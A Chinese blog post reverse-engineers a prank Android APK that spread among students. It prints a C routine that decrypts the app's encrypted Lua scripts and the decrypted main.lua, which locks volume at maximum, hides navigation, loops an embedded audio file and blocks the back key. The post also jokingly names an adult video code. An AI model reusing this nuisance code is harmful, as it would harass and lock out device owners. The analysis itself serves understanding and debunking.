9.27流氓病毒传播

起因在于今天让各大高校沦陷的一款APP——“送给最好的TA.apk”。

据不完全统计,全国各大高校众多学生纷纷中招,上课打开该整蛊软件,手机扬声器自动播放某不可描述的声音,音量最大且不可关闭。大量学生因此社会性死亡(雾)。

随后,各大高校展开逆向大战。在这里记录下我高中大佬同学的逆向过程。

APK分析

对apk解包,我们能看到文件夹中的assets下有个命名为0.MP3的文件。经比对,该文件即为外放的音频文件。(老司机悄悄告诉你车牌:SSNI-392)。

同时在该目录下还有main.lua,init.lua两个文件,外层目录有lua文件夹,基本可以确定这是个用lua写的android应用。

在lib下发现libluajava.so。我们可以通过这个库文件去搜索对应的框架了。在github上搜索确定是AndroLua_Pro

使用dex2jar对classes.dex进行反编译,发现反编译失败。查找错误代码,可以确认是框架对dex2jar反编译做的限制。原因在于jvm虚拟机运行时不会区分bool和int的类型,可能是因为这两种数据类型的底层都是int8吧。因此对dex2jar源码进行修改,将TypeClass.java文件中merge方法打上补丁(github的作者明明自己打了补丁就是不发布,好气啊)。此时反编译通过。用jd-gui打开观察,发现大量函数是由lua脚本生成的。

因此尝试直接打开lua脚本。本以为可以到此结束,谁知道所有的lua脚本都是被加密过的。(我就死在了这里)。

以下由大佬同学完成

网传的截图代码

关于空间里说的疯狂的截图的代码,其实只是上面提到的那个框架中的一个小功能而已,链接在这里。

lua脚本解密

对libluajava.so进行分析。

用IDA打开该so文件,可以在函数区块看到未加密的函数命名。有个 luaL_loadbufferx() 的函数负责解密。

因此可以写出对应的解密函数。

#include <stdio.h>

char* load(char *a2, size_t size) {
  char *v9; // r0
  int v10; // r1
  signed int v11; // r2
  char *v13; // [sp+8h] [bp-28h]
  size_t v14; // [sp+Ch] [bp-24h]
  v13 = (char *)a2;
  v14 = size;
  if ( a2[0] == 0x1B && a2[1] != 0x4C ) {
    v9 = malloc(size);
    if ( size ) {
      *v9 = 27;
      if ( size != 1 ) {
        v10 = 0;
        v11 = 1;
        do {
          v10 += size;
          v9[v11] = a2[v11] ^ (v10 + ((unsigned int)(((unsigned long long)(-2139062143LL * v10) >> 32) + v10) >> 7)
                                   + ((signed int)(((unsigned long long)(-2139062143LL * v10) >> 32) + v10) < 0));
          ++v11;
        }
        while ( size != v11 );
      }
    }
    v13 = v9;
  }
  return v13;
}

int main() {
    FILE* fin = fopen("main.lua", "rb");
    char *raw = malloc(1642);
    char *out;
    fread(raw, 1642, 1, fin);
    printf("file read\n");
    out = load(raw, 1642);
    FILE *fout = fopen("output.lua", "wb");
    fwrite(out, 1642, 1, fout);
    return 0;
}

同理,解密出来的main.lua文件为

require("import")
import("android.app.*")
import("android.os.*")
import("android.widget.*")
import("android.view.*")
import("android.view.View")
import("android.content.Context")
import("android.media.MediaPlayer")
import("android.media.AudioManager")
import("com.androlua.Ticker")
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)
m = MediaPlayer()
m.reset()
m.setDataSource(activity.getLuaDir() .. "/0.mp3")
m.prepare()
m.start()
m.setLooping(true)
ti = Ticker()
ti.Period = 10
function ti.onTick()
  activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
  activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)
end
ti.start()
function onKeyDown(A0_0, A1_1)
  if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then
    activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
  end
  return true
end

证明了上面的截图问题并不存在。

总结

对我来说,这是一次失败的逆向,明明可以离成功很近,但是在中途放弃了。明明能想到libluajava.so应该就是解密的关键,而不进一步去验证。

以后不能中途再放弃了。

搞笑总结

表面上是9.27流氓病毒惨案
实际是各搞笑比拼解析源代码的比赛
但归根到底,手机老司机们找源音频的速度车赛

最后附上源文件(源文件寄了,找不到了)。

说点什么
支持Markdown语法
在"记一次整蛊软件逆向工程"已有1条评论
Loading...